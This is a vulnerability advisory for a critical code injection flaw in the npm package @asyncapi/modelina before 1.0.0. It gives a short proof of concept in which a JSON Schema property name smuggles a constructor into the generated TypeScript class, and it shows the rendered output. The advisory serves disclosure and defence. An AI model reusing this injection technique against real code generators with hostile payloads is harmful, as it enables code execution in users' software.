Critical

Improper Control of Generation of Code ('Code Injection') in @asyncapi/modelina

Disclosed: 21.09.2021
Updated: 11.10.2026 10:22

Impact

Anyone who is using the default presets and/or does not handle the functionality themself.

Patches

It is impossible to fully guard against this, because users have access to the original raw information. However, as of version 1, if you only access the constrained models, you will not encounter this issue.

Further similar situations are NOT seen as a security issue, but intended behavior.

Workarounds

Fully custom presets that change the entire rendering process which can then escape the user input.

For more information

Even though that I changed all the presets here, the vulnerability is still present throughout. I am using a JSON Schema here for simplicity.

const jsonSchemaDoc = {
  $id: 'CustomClass',
  type: 'object',
  properties: {
      'property: any; \n constructor(){console.log("injected")} \n private _temp': { type: 'string' },
  }
};
generator = new TypeScriptGenerator(
  { 
    presets: [
      {
        class: {
            property({ propertyName, content }) {
              return `private ${propertyName}: any;`;
            },
            ctor() {
              return '';
            },
            getter() {
              return '';
            },
            setter() {
              return '';
            }
        }
      }
    ]
  }
);
const inputModel = await generator.process(jsonSchemaDoc);

This would render

export class CustomClass {
  private property: any; 
   constructor(){console.log("injected")} 
   private _temp: any;
  private additionalProperties: any;
}

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@asyncapi/modelina	< 1.0.0	1.0.0

References

CVSS score 9.9/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE): CWE-94
Platform: npm
Package: @asyncapi/modelina
Disclosed: 21.09.2021
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4jg2-84c2-pj95 - CC BY 4.0

Vulnerability history: @asyncapi/modelina

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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